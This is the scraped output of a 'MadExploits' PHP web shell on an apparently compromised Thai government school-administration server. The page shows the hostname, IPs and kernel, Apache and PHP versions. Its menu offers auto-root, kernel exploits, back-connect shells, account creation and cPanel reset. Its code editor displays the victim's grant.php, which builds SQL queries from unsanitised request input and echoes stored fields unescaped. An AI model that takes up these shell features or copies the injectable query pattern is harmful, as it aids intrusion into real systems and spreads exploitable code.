Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
homework /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
basic_comment.php
17.42
KB
-rw-r--r--
grant.php
29.55
KB
-rw-r--r--
homework_main.php
38.38
KB
-rw-r--r--
print_report.php
7.98
KB
-rw-r--r--
report00_1.php
13.13
KB
-rw-r--r--
report_1.php
13.22
KB
-rw-r--r--
report_2.php
12.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grant.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); if(!($_SESSION['login_status']<=4)){ exit(); } $user=$_SESSION['login_user_id']; require_once "modules/homework/time_inc.php"; //ส่วนหัว echo "<br />"; if(!(($index==1) or ($index==2) or ($index==5) or ($index==7))){ echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>อนุมัติ/คำสั่ง ของผู้บังคับบัญชา</strong></font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'><strong>ทะเบียนขออนุญาตปฏิบัติราชการที่่บ้าน</strong></font></td></tr>"; echo "</table>"; } //ส่วนบันทึกข้อมูล if($index==4){ if(!(isset($_POST['allchk']))){ $_POST['allchk']=""; } $date_time_now = date("Y-m-d H:i:s"); foreach($_POST as $key => $value){ if($key!=$_POST['allchk']){ $sql = "update homework_main set grant_x='$value', grant_person='$_SESSION[login_user_id]', grant_date='$date_time_now' where id='$key'"; $dbquery = mysqli_query($connect,$sql); ///////////////////// บันทึกการปฏิบัติราชการ $sql = "select * from homework_main where id='$key'"; $dbquery = mysqli_query($connect,$sql); $ref_result = mysqli_fetch_array($dbquery); $person_id=$ref_result['person_id']; $ref_id=$ref_result['ref_id']; $sql_date="select * from homework_date where ref_id='$ref_id' order by date"; $dbquery_date = mysqli_query($connect,$sql_date); While ($result_date = mysqli_fetch_array($dbquery_date)){ $date = $result_date['date']; $sql_select = "select * from work_main where work_date='$date' and person_id='$person_id'"; $dbquery_select = mysqli_query($connect,$sql_select); $data_num=mysqli_num_rows($dbquery_select); if($data_num>0){ $sql_update = "update work_main set work='1', rec_date='$date_time_now', officer='$user' , homework='$ref_id' where work_date='$date' and person_id='$person_id'"; $dbquery_update = mysqli_query($connect,$sql_update); } else { $sql_insert = "insert into work_main (work_date, person_id, work, rec_date, officer,homework) values ('$date', '$person_id', '1', '$date_time_now', '$user', '$ref_id')"; $dbquery_insert = mysqli_query($connect,$sql_insert); } } /////////////////// } } } //ส่วนฟอร์มแก้ไขข้อมูล if ($index==5){ echo "<form Enctype = multipart/form-data id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>อนุมัติ/คำสั่ง ของผู้บังคับบัญชา</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='80%' Border='0'>"; $sql = "select * from homework_main where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $ref_result = mysqli_fetch_array($dbquery); $id=$ref_result['id']; $person_id=$ref_result['person_id']; $ref_id=$ref_result['ref_id']; $comment=$ref_result['comment']; $comment_person=$ref_result['comment_person']; $grant_comment=$ref_result['grant_comment']; $grant=$ref_result['grant_x']; $rec_date=$ref_result['rec_date']; $file=$ref_result['document']; //สพท $sql_person = "select * from person_main where person_id='$ref_result[person_id]' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; $position=$result_person['position_code']; $sql = "select * from person_position where position_code='$position'"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $position_name=$result['position_name']; echo "<Tr align='left'><Td align='right' width='50%'>เลขที่ </Td><Td>$id</Td></Tr>"; echo "<Tr align='left'><Td align='right'>ชื่อผู้ขออนุญาต </Td><Td>$fullname ตำแหน่ง $position_name</Td></Tr>"; echo "<Tr align='left'><Td align='right'>วันที่ขออนุญาต </Td><Td>"; echo thai_date_4($rec_date); echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>เหตุผลความจำเป็นหรือความสำคัญ </Td><Td>$ref_result[subject]</Td></Tr>"; echo "<Tr align='left'><Td align='right'>แผนการทำงาน </Td><Td><textarea name='plan' cols='50' rows='15'>$ref_result[plan]</textarea></Td></Tr>"; $sql_date="select * from homework_date where ref_id='$ref_id' order by date"; $dbquery_date = mysqli_query($connect,$sql_date); $date_num=1; While ($result_date = mysqli_fetch_array($dbquery_date)){ $date = $result_date['date']; $full_date=thai_date($date); if($date_num==1){ echo "<Tr align='left'><Td align='right'>วันปฏิบัติราชการ </Td><Td>$full_date</Td></Tr>"; } else{ echo "<Tr align='left'><Td align='right'> </Td><Td>$full_date</Td></Tr>"; } $date_num++; } echo "<Tr align='left'><Td align='right'>สถานที่ปฏิบัติงาน </Td><Td>$ref_result[home]</Td></Tr>"; if($ref_result['document']!=""){ echo "<Tr><Td align='right'>เอกสาร </Td><Td align='left'><a href=$file target=_blank><img src=./images/browse.png border='0' alt='File'></Td></Tr>"; } if($ref_result['no_comment']==1){ $no_comment_select="checked"; } else{ $no_comment_select=""; } echo "<Tr align='left'><Td align='right'></Td><Td><input type='checkbox' name='no_comment' id='no_comment' value='1' $no_comment_select> ไม่ต้องผ่านผู้บังคับบัญชาขั้นต้น</Td></Tr>"; echo "</Table>"; echo "<table width='600'><tr><td>"; echo "<fieldset>"; echo "<legend> <B>ส่วนความเห็นของผู้บังคับบัญชาขั้นต้น</B>: </legend>"; echo "<table>"; echo "<Tr align='left'><Td align='right'>ความเห็น </Td><Td><b>$comment</b></Td></Tr>"; echo "<Tr align='left'><Td align='right'>ลงชื่อ </Td><Td>"; //สพท. $sql_person = "select * from person_main where person_id='$ref_result[comment_person]'"; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; echo $fullname; echo "</Td></Tr>"; $thai_date_comment=thai_date_4($ref_result['comment_date']); echo "<Tr align='left'><Td align='right'>วันเวลา </Td><Td>$thai_date_comment</Td></Tr>"; echo "</Table>"; echo "</fieldset></td></tr></table>"; echo "<table width='600'><tr><td>"; echo "<fieldset>"; echo "<legend> <B>ส่วนการอนุมัติ/คำสั่ง</B>: </legend>"; echo "<table>"; if($grant==1){ $grant_1_checked="checked"; } else{ $grant_1_checked=""; } if($grant==2){ $grant_2_checked="checked"; } else{ $grant_2_checked=""; } echo "<Tr align='left'><Td align='right'>การอนุมัติ </Td><Td><Input Type='radio' Name='grant' id='grant' value='1' $grant_1_checked>อนุมัติ</Td></Tr>"; echo "<Tr align='left'><Td align='right'> </Td><Td><Input Type='radio' Name='grant' id='grant' value='2' $grant_2_checked>ไม่อนุมัติ</Td></Tr>"; echo "<Tr align='left'><Td align='right'>คำสั่ง(ถ้ามี) </Td><Td><Input Type='Text' Name='grant_comment' id='grant_comment' Size='40' value='$grant_comment'></Td></Tr>"; echo "</Table>"; echo "</fieldset></td></tr></table>"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<Input Type=Hidden Name='page' Value='$_GET[page]'>"; echo "<Br>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url_update(1)'> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url_update(0)'>"; echo "</form>"; } //ส่วนปรับปรุงข้อมูล if ($index==6){ $date_time_now = date("Y-m-d H:i:s"); $sql = "update homework_main set grant_x='$_POST[grant]', grant_person='$_SESSION[login_user_id]', grant_comment='$_POST[grant_comment]', grant_date='$date_time_now' where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); // ส่วนการบันทึกการปฏิบัติราชการ if($_POST['grant']==1){ $sql = "select * from homework_main where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); $ref_result = mysqli_fetch_array($dbquery); $person_id=$ref_result['person_id']; $ref_id=$ref_result['ref_id']; $sql_date="select * from homework_date where ref_id='$ref_id' order by date"; $dbquery_date = mysqli_query($connect,$sql_date); While ($result_date = mysqli_fetch_array($dbquery_date)){ $date = $result_date['date']; $sql_select = "select * from work_main where work_date='$date' and person_id='$person_id'"; $dbquery_select = mysqli_query($connect,$sql_select); $data_num=mysqli_num_rows($dbquery_select); if($data_num>0){ $sql_update = "update work_main set work='1', rec_date='$date_time_now', officer='$user' , homework='$ref_id' where work_date='$date' and person_id='$person_id'"; $dbquery_update = mysqli_query($connect,$sql_update); } else { $sql_insert = "insert into work_main (work_date, person_id, work, rec_date, officer,homework) values ('$date', '$person_id', '1', '$date_time_now', '$user', '$ref_id')"; $dbquery_insert = mysqli_query($connect,$sql_insert); } } } } // end if index==6 if ($index==7){ echo "<Center>"; echo "<Font color='#006666' Size=3><B>รายละเอียดการขออนุญาตปฏิบัติราชการที่่บ้าน</B></Font>"; echo "</Cener>"; echo "<Br>"; $sql_person = "select * from person_main "; $dbquery_person = mysqli_query($connect,$sql_person); While ($result_person = mysqli_fetch_array($dbquery_person)){ $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; $person_ar[$result_person['person_id']]=$fullname; } $sql="select * from homework_main where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $ref_result = mysqli_fetch_array($dbquery); $id=$ref_result['id']; $person_id=$ref_result['person_id']; $ref_id=$ref_result['ref_id']; $file=$ref_result['document']; $grant_person_selected=$ref_result['grant_person_selected']; $comment_person=$ref_result['comment_person']; $grant_person=$ref_result['grant_person']; $rec_date=$ref_result['rec_date']; echo "<Br>"; echo "<Table align='center' width='80%' Border='0'>"; echo "<Tr ><Td colspan='2' align='right'><INPUT TYPE='button' name='smb' value='<<กลับหน้าก่อน' onclick='location.href=\"?option=homework&task=main/grant&page=$_GET[page]\"'></Td></Tr>"; echo "<Tr align='left'><Td align='right' width='50%'>เลขที่ </Td><Td>$ref_result[id]</Td></Tr>"; echo "<Tr align='left'><Td align='right' width='50%'>ผู้ขออนุญาต </Td><Td>"; //สพท $sql_person = "select * from person_main where person_id='$ref_result[person_id]' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; echo $fullname; echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>วันที่ขออนุญาต </Td><Td>"; echo thai_date_4($rec_date); echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>เหตุผลความจำเป็นหรือความสำคัญ </Td><Td>$ref_result[subject]</Td></Tr>"; echo "<Tr align='left'><Td align='right'>แผนการทำงาน </Td><Td><textarea name='plan' cols='50' rows='15'>$ref_result[plan]</textarea></Td></Tr>"; $sql_date="select * from homework_date where ref_id='$ref_id' order by date"; $dbquery_date = mysqli_query($connect,$sql_date); $date_num=1; While ($result_date = mysqli_fetch_array($dbquery_date)){ $date = $result_date['date']; $full_date=thai_date($date); if($date_num==1){ echo "<Tr align='left'><Td align='right'>วันปฏิบัติราชการ </Td><Td>$full_date</Td></Tr>"; } else{ echo "<Tr align='left'><Td align='right'> </Td><Td>$full_date</Td></Tr>"; } $date_num++; } echo "<Tr align='left'><Td align='right'>สถานที่ปฏิบัติงาน </Td><Td>$ref_result[home]</Td></Tr>"; if($ref_result['document']!=""){ echo "<Tr><Td align='right'>เอกสาร </Td><Td align='left'><a href=$file target=_blank><img src=./images/browse.png border='0' alt='File'></Td></Tr>"; } if($ref_result['no_comment']==1){ $no_comment_select="checked"; } else{ $no_comment_select=""; } echo "<Tr align='left'><Td align='right'></Td><Td><input type='checkbox' name='no_comment' id='no_comment' value='1' $no_comment_select> ไม่ต้องผ่านผู้บังคับบัญชาขั้นต้น</Td></Tr>"; if($grant_person_selected!=""){ echo "<Tr align='left'><Td align='right'>ผู้อนุมัติ </Td><Td>$person_ar[$grant_person_selected]</Td></Tr>"; } echo "</Table>"; echo "<table width='600'><tr><td>"; echo "<fieldset>"; echo "<legend> <B>ส่วนความเห็นของผู้บังคับบัญชาขั้นต้น</B>: </legend>"; echo "<table>"; $thai_date_comment=thai_date_4($ref_result['comment_date']); echo "<Tr align='left'><Td align='right'>ความเห็น </Td><Td>$ref_result[comment]</Td></Tr>"; echo "<Tr align='left'><Td align='right'>ลงชื่อ </Td><Td>"; //สพท $sql_person = "select * from person_main where person_id='$comment_person' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; //โรงเรียน if(!$result_person){ $sql_person = "select * from person_sch_main where person_id='$comment_person'"; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; } echo $fullname; echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>วันเวลา </Td><Td>$thai_date_comment</Td></Tr>"; echo "</table>"; echo "</fieldset></td></tr></table>"; echo "<table width='600'><tr><td>"; echo "<fieldset>"; echo "<legend> <B>ส่วนของการอนุมัติ/คำสั่ง</B>: </legend>"; echo "<table>"; echo "<Tr align='left'><Td align='right'>การอนุมัติ </Td><Td>"; if($ref_result['grant_x']==1){ echo "อนุมัติ"; } if($ref_result['grant_x']==2){ echo "ไม่อนุมัติ"; } echo "</Td></Tr>"; echo "<Tr align='left'><Td align='right'>คำสั่ง </Td><Td>$ref_result[grant_comment]</Td></Tr>"; echo "<Tr align='left'><Td align='right'>ลงชื่อ </Td><Td>"; if(isset($person_ar[$grant_person])){ echo $person_ar[$grant_person]; } echo "</Td></Tr>"; $thai_date_grant=thai_date_4($ref_result['grant_date']); echo "<Tr align='left'><Td align='right'>วันเวลา </Td><Td>$thai_date_grant</Td></Tr>"; echo "</table>"; echo "</fieldset></td></tr></table>"; if($ref_result['report']!=""){ echo "<table width='600'><tr><td>"; echo "<fieldset>"; echo "<legend> <B>ส่วนของรายงาน</B>: </legend>"; echo "<table width='700'>"; $thai_date_report=thai_date_4($ref_result['report_date']); echo "<Tr align='left'><Td valign='top' align='left' colspan='2'>$ref_result[report]</Td></Tr>"; echo "<Tr align='left'><Td align='right'>วันเวลารายงาน </Td><Td>$thai_date_report</Td></Tr>"; echo "</table>"; echo "</fieldset></td></tr></table>"; } //บันทึกอ่านรายงาน if(isset($_GET['report_read'])){ if($ref_result['grant_person']==$_SESSION['login_user_id']){ if($ref_result['report_read']==""){ $date_time_now = date("Y-m-d H:i:s"); $sql = "update homework_main set report_read='$_SESSION[login_user_id]',report_read_date='$date_time_now' where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); } } } } //ส่วนแสดงผล if(!(($index==1) or ($index==2) or ($index==5) or ($index==7))){ //หาผู้อำนวยการสพท. $sql = "select * from person_main where position_code='1' and status='0' order by id desc limit 1"; $dbquery = mysqli_query($connect,$sql); $boss=''; if($dbquery){ if($result = mysqli_fetch_array($dbquery)){ $boss=$result['person_id']; } } //ส่วนหาผู้รักษาราชการแทน $today=date("Y-m-d"); $sql = "select * from delegate_main where person_id='$user' and start<='$today' and finish>='$today' "; $dbquery = mysqli_query($connect,$sql); $delegate=0; if($dbquery){ $num_rows = mysqli_num_rows($dbquery); if($num_rows>=1){ $delegate=1; } } //ส่วนของการหาผู้ปฏิบัติราชการแทนผอ.สพท.ในส่วนของโรงเรียน $sql = "select * from permission_permission where p2='1' and person_id='$user'"; $dbquery = mysqli_query($connect,$sql); $right=0; if($dbquery){ $num_rows = mysqli_num_rows($dbquery); if($num_rows>=1){ $right=1; } } $now=time(); $time_onedayago=$now-0; //0 หมายถึง ไม่รอผู้เห็นชอบ $onedayago=date("Y-m-d H:i:s",$time_onedayago); //ส่วนของการแยกหน้า if($delegate==1){ $sql = "select homework_main.id from homework_main left join homework_person_set on homework_main.person_id=homework_person_set.person_id where (homework_main.grant_person_selected ='$_SESSION[login_user_id]' or homework_person_set.grant_person ='$_SESSION[login_user_id]' or homework_main.grant_person_selected ='$boss' or homework_person_set.grant_person ='$boss') and (homework_main.rec_date<'$onedayago' or homework_person_set.comment_person is null or homework_person_set.comment_person='' or homework_main.no_comment='1' or homework_main.comment_person is not null) and (homework_main.comment_need='0' or homework_main.comment_person is not null) "; } else{ $sql = "select homework_main.id from homework_main left join homework_person_set on homework_main.person_id=homework_person_set.person_id where (homework_main.grant_person_selected ='$_SESSION[login_user_id]' or homework_person_set.grant_person ='$_SESSION[login_user_id]') and (homework_main.rec_date<'$onedayago' or homework_person_set.comment_person is null or homework_person_set.comment_person='' or homework_main.no_comment='1' or homework_main.comment_person is not null) and (homework_main.comment_need='0' or homework_main.comment_person is not null)"; } $dbquery = mysqli_query($connect,$sql); $num_rows = mysqli_num_rows($dbquery ); $pagelen=20; // 1_กำหนดแถวต่อหน้า $url_link="option=homework&task=main/grant"; // 2_กำหนดลิงค์ฺ $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า if($delegate==1){ $sql = "select homework_main.id, homework_main.person_id, homework_main.subject, homework_main.plan, homework_main.home, homework_main.ref_id, homework_main.document, homework_main.comment, homework_main.grant_x, homework_main.grant_comment,homework_main.grant_date, homework_main.grant_person_selected, homework_main.rec_date,homework_main.report ,homework_main.report_read from homework_main left join homework_person_set on homework_main.person_id=homework_person_set.person_id where (homework_main.grant_person_selected='$_SESSION[login_user_id]' or homework_person_set.grant_person ='$_SESSION[login_user_id]' or homework_main.grant_person_selected='$boss' or homework_person_set.grant_person ='$boss') and (homework_main.rec_date<'$onedayago' or homework_person_set.comment_person is null or homework_person_set.comment_person='' or homework_main.no_comment='1' or homework_main.comment_person is not null) and (homework_main.comment_need='0' or homework_main.comment_person is not null) order by homework_main.id limit $start,$pagelen"; } else{ $sql = "select homework_main.id, homework_main.person_id, homework_main.subject, homework_main.plan, homework_main.home, homework_main.ref_id, homework_main.document, homework_main.comment, homework_main.grant_x, homework_main.grant_comment,homework_main.grant_date, homework_main.grant_person_selected, homework_main.rec_date,homework_main.report ,homework_main.report_read from homework_main left join homework_person_set on homework_main.person_id=homework_person_set.person_id where (homework_main.grant_person_selected ='$_SESSION[login_user_id]' or homework_person_set.grant_person ='$_SESSION[login_user_id]') and (homework_main.rec_date<'$onedayago' or homework_person_set.comment_person is null or homework_person_set.comment_person='' or homework_main.no_comment='1' or homework_main.comment_person is not null) and (homework_main.comment_need='0' or homework_main.comment_person is not null) order by homework_main.id limit $start,$pagelen"; } $dbquery = mysqli_query($connect,$sql); echo "<form id='frm1' name='frm1'>"; echo "<table width='98%' border='1' align='center' style='border-collapse: collapse'>"; echo "<Tr><Td colspan='12' align='right'><INPUT TYPE='checkbox' name='allchk' id='allckk' onclick='CheckAll()'>เลือก/ไม่เลือกทั้งหมด</Td><td></td></Tr>"; echo "<Tr bgcolor='#FFCCCC' align='center'><Td width='60'>เลขที่</Td><Td width='130'>ผู้ขออนุญาต</Td><Td width='80'>วันขออนุญาต</Td><Td>ความจำเป็น/ความสำคัญ</Td><Td>แผนการทำงาน</Td><Td width='100'>วันปฏิบัติราชการ</Td><Td>สถานที่ปฏิบัติงาน</Td><Td width='50'>เอกสาร</Td><Td width='50'>รายละเอียด</Td><Td width='120'>ความเห็น</Td><Td width='120'><INPUT TYPE='button' name='smb' value='อนุมัติ' onclick='goto_url(1)'></Td><Td width='40'>แก้ไข</Td><Td width='100'>รายงาน</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)){ $id = $result['id']; $person_id = $result['person_id']; $subject = $result['subject']; $plan = $result['plan']; $home = $result['home']; $ref_id = $result['ref_id']; $file = $result['document']; $grant_person_selected = $result['grant_person_selected']; $comment = $result['comment']; $grant = $result['grant_x']; $grant_comment = $result['grant_comment']; $grant_date = $result['grant_date']; $rec_date = $result['rec_date']; if(($M%2) == 0) $color="#FFFFB"; else $color="#FFFFFF"; echo "<Tr bgcolor='$color'><Td valign='top' align='center'>$id</Td>"; $sql_person = "select * from person_main where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']; if(!$result_person){ $sql_person = "select * from person_sch_main left join system_school on person_sch_main.school_code=system_school.school_code where person_id='$person_id' "; $dbquery_person = mysqli_query($connect,$sql_person); $result_person = mysqli_fetch_array($dbquery_person); $fullname=$result_person['prename'].$result_person['name']." ".$result_person['surname']." "."(".$result_person['school_name'].")"; } echo "</Td><Td valign='top' align='left'>$fullname</Td>"; echo "<Td valign='top' align='left'>"; echo thai_date_3($rec_date); echo "</Td><Td valign='top' align='left'>$subject</Td>"; echo "<Td valign='top' align='left'>$plan</Td><Td valign='top' align='left'>"; $sql_date="select * from homework_date where ref_id='$ref_id' order by date"; $dbquery_date = mysqli_query($connect,$sql_date); While ($result_date = mysqli_fetch_array($dbquery_date)){ $date = $result_date['date']; echo thai_date_3($date); echo "<br />"; } echo "</Td><Td valign='top' align='left'>$home</Td>"; if($file!=""){ echo "<Td valign='top' align='center'><a href='$file' target=_blank><IMG SRC='images/b_browse.png' width='16' height='16' border=0 alt='เอกสาร'></a></td>"; } else{ echo "<Td valign='top' align='left'></Td>"; } echo "<Td valign='top' align='center'><a href=?option=homework&task=main/grant&index=7&id=$id&page=$page><img src=images/browse.png border='0' alt='รายละเอียด'></Td>"; echo "<Td valign='top' align='left'>$comment</td>"; echo "<Td valign='top' align='center'>"; if($grant==1){ echo "<img src=images/yes.png border='0'><br>$grant_comment"; } else if($grant==2){ echo "<img src=images/no.png border='0'><br>$grant_comment"; } else{ echo "<input type='checkbox' name='$id' id='$id' value='1'>"; } echo "</Td>"; $now=time(); $timestamp=make_time_2($grant_date); if($grant_date==""){ $timestamp_2=$now+1800; } else{ $timestamp=make_time_2($grant_date); $timestamp_2=$timestamp+1800; } if($now<$timestamp_2){ echo "<Td valign='top' align='center'><a href=?option=homework&task=main/grant&index=5&id=$id&page=$page><img src=images/edit.png border='0' alt='แก้ไข'></a></Td>"; } else{ echo "<td></td>"; } echo "<td valign='top' align='center'>"; if($result['report']!=""){ echo "<a href=?option=homework&task=main/grant&index=7&id=$id&page=$page&report_read=1>รายงาน</a>"; if($result['report_read']!=""){ echo "<font size='1'>[อ่านแล้ว]</font>"; } } echo "</td>"; echo "</Tr>"; $M++; $N++; //*เกี่ยวข้องกับการแยกหน้า } echo "</Table>"; echo "<input type='hidden' name='page' value=$_REQUEST[page]>"; echo "</form>"; } ?> <script> function goto_url(val){ if(val==0){ callfrm("?option=homework&task=main/grant"); // page ย้อนกลับ }else if(val==1){ callfrm("?option=homework&task=main/grant&index=4"); //page ประมวลผล } } function goto_url_update(val){ if(val==0){ callfrm("?option=homework&task=main/grant"); // page ย้อนกลับ }else if(val==1){ if((frm1.grant[0].checked!=true) && (frm1.grant[1].checked!=true)){ alert("กรุณาเลือกการอนุมัติ"); }else{ callfrm("?option=homework&task=main/grant&index=6"); //page ประมวลผล } } } function CheckAll() { for (var i = 0; i < document.frm1.elements.length; i++) { var e = document.frm1.elements[i]; if (e.name != "allchk") e.checked = document.frm1.allchk.checked; } } </script>
Close